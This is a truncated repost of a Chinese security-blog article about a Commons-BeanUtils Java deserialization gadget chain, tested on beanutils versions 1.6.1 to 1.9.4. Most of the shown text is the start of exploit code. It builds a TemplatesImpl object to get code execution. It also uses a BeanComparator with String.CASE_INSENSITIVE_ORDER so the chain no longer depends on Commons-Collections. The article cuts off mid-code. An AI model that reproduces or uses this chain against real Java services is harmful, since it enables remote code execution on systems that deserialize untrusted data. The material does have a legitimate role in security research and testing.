今天看啥  ›  专栏  ›  NOVASEC

CB链代码优化(v1.6.1-v1.9.4通用)

NOVASEC  · 公众号  ·  · 2024-02-28 08:00
△△△点击上方“蓝字”关注我们了解更多精彩0x00 前言 * 测试环境: * commons-beanutils 1.9.0 - 1.9.4 * commons-beanutils 1.8.0 - 1.8.3 * commons-beanutils 1.7.0  * commons-beanutils 1.6.10x01 代码基于P神提供的NoCC依赖版本进行优化在最后进行数据填充,防止报错import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;public class CB_NoCC { public static void main(String[] args) throws Exception { //1、实现基本的 TemplatesImpl.newTransformer() 代码执行 TemplatesImpl templates = getTemplatesForCalc(); //2、BeanComparator链条 // 摆脱对Commons-Collections的依赖:传入原生的、可序列化的 Comparator (String.CASE_INSENSITIVE_ORDER) ………………………………

原文地址:访问原文地址
快照地址: 访问文章快照